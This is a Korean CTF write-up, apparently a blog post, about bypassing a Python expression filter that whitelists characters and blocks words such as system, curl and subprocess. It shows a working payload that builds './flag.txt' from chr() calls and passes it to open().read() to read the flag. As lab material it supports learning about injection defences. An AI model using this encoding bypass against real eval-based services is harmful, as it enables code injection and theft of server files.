해당 문제는 필터링에 대해서 어떻게 우회할지 생각해보는 문제입니다. 따라서 문제의 소스코드를 확인하기 전에 기본적인 기능이 어떻게 되는지 먼저 확인해봅니다.
우선 기본적인 연산이 잘 작동하는지 확인해줍니다.
이후 문자에 대해서 어떻게 처리되는지 확인해봅니다.
이제 문제 해결을 위해서 소스코드를 살펴봅니다.
def filter(formula):
w_list = list(string.ascii_lowercase + string.ascii_uppercase + string.digits)
w_list.extend([" ", ".", "(", ")", "+"])
if re.search("(system)|(curl)|(flag)|(subprocess)|(popen)", formula, re.I):
return True
for c in formula:
if c not in w_list:
return True
해당 코드를 살펴보면 white list 방식으로 구성되어 있으며 스페이스, 닷, 소괄호 두개, 플러스에 대해서는 허용하고 있으며
system, curl, flag, subprocess, popen등은 차단하고 있는 것을 확인할 수 있습니다. 따라서 이를 해결하기 위해서는 파이썬 내에서 파일을 열고 읽을 수 있는 함수를 이용해야한다는 것을 파악할 수 있습니다.
해결을 위해서 파이썬 함수들에 대해서 찾아보았습니다.
[python] 파이썬 파일읽기, 파일쓰기 (open , close, write, read, tell, seek) (tistory.com)
이제 자신이 사용할 함수를 정해두고 문제에 답이 될 수 있는 입력값을 작성합니다.
open('./flag.txt', 'r')
이와 같은 값은 화이트리스트에 어긋나므로 바로 필터링 되는 것을 확인할 수 있습니다. 따라서 ./
이후 chr()를 사용하여 위의 문장을 아래와 같이 변경한 후 시도하였지만 실패하였습니다.
open(chr(27)+chr(2e)+chr(2f)+chr(66)+chr(6c)+chr(61)+chr(67)+chr(2e)+chr(74)+chr(78)+chr(74)+chr(27)+chr(2c)+chr(20)+chr(27)+chr(72)+chr(27))
open(chr(0x27)+chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)+chr(0x27)+chr(0x2c)+chr(0x20)+chr(0x27)+chr(0x72)+chr(0x27))
따라서 다른 방법이 있다고 판단하여 아래와 같이 작성하였습니다.
open(chr(0x2e)+chr(0x2f)+chr(0x66)+chr(0x6c)+chr(0x61)+chr(0x67)+chr(0x2e)+chr(0x74)+chr(0x78)+chr(0x74)).read()
./flag.txt를 오픈하여 읽도록 작성하였습니다. 해당 텍스트에 대한 hex는 DenCode | Encoding & Decoding Online Tools 를 이용하였습니다.
이를 이용하여 아래와 같은 답을 얻을 수 있습니다.
'Wargame & CTF' 카테고리의 다른 글
[Portswigger] Access Control (0) | 2023.12.29 |
---|---|
[Portswigger] Path traversal (0) | 2023.12.22 |
[Webhacking.kr] 1,3,14,15,17번 (1) | 2023.12.21 |
[Dreamhack] baby-union (0) | 2023.12.20 |
[Dreamhack] baseb64 (0) | 2023.12.20 |